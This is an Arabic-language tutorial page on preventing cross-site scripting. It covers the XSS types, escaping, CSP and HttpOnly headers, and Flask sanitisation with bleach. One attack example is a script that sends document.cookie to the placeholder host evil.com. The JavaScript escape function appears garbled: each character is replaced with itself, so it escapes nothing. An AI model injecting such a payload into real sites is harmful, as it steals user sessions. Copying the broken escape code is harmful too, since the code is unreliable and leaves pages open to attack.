XSS — الجزء 2: المنع — الأمن المتقدم
هجمات XSS (Cross-Site Scripting)
ما هو XSS؟
حقن سكريبتات ضارة في صفحات الويب التي يشاهدها مستخدمون آخرون.
أنواع XSS
1. Stored XSS (المخزّن)
- الأخطر 🔴
- السكريبت يُخزن في قاعدة البيانات
- مثال: تعليق يحتوي على <script>
2. Reflected XSS (المنعكس)
- السكريبت في URL
- يتطلب إقناع الضحية بالنقر
- مثال: رابط بحث ضار
3. DOM-based XSS
- التنفيذ في المتصفح فقط
- لا يصل للخادم
مثال على الهجوم
<!-- تعليق ضار -->
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>الوقاية من XSS
1. تنظيف المدخلات (Sanitization)
// تحويل الأحرف الخاصة
function escapeHTML(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}2. Content Security Policy (CSP)
Content-Security-Policy: default-src 'self'3. HttpOnly Cookies
Set-Cookie: session=abc123; HttpOnly; Secure4. استخدام مكتبات آمنة
- React: يهرب HTML تلقائياً
- Vue: استخدم v-text بدلاً من v-html
# مثال على تنظيف المدخلات في Python (Flask)
from flask import Flask, request, escape
from markupsafe import Markup
import bleach
app = Flask(__name__)
# ===== طريقة 1: escape الأساسي =====
@app.route('/comment', methods=['POST'])
def add_comment_v1():
comment = request.form.get('comment', '')
# تحويل < > إلى < >
safe_comment = escape(comment)
return f"<p>{safe_comment}</p>"
# ===== طريقة 2: مكتبة bleach (الأفضل) =====
@app.route('/comment_v2', methods=['POST'])
def add_comment_v2():
comment = request.form.get('comment', '')
# السماح بعناصر محددة فقط
allowed_tags = ['b', 'i', 'u', 'a', 'p', 'br']
allowed_attrs = {'a': ['href', 'title']}
safe_comment = bleach.clean(
comment,
tags=allowed_tags,
attributes=allowed_attrs,
strip=True
)
return f"<p>{safe_comment}</p>"
# ===== طريقة 3: التحقق من URLs =====
def is_safe_url(url):
"""التحقق من أن الرابط آمن"""
from urllib.parse import urlparse
# منع javascript: و data: URLs
if url.lower().startswith(('javascript:', 'data:', 'vbscript:')):
return False
# التحقق من النطاق
parsed = urlparse(url)
if parsed.netloc and parsed.netloc != 'example.com':
return False
return True
# ===== مثال على CSP Header =====
@app.after_request
def add_security_headers(response):
# Content Security Policy
response.headers['Content-Security-Policy'] = \
"default-src 'self'; " \
"script-src 'self'; " \
"style-src 'self' 'unsafe-inline'; " \
"img-src 'self' data:; "
# منع التضمين في iframes
response.headers['X-Frame-Options'] = 'SAMEORIGIN'
# منع MIME type sniffing
response.headers['X-Content-Type-Options'] = 'nosniff'
return responseاختبر فهمك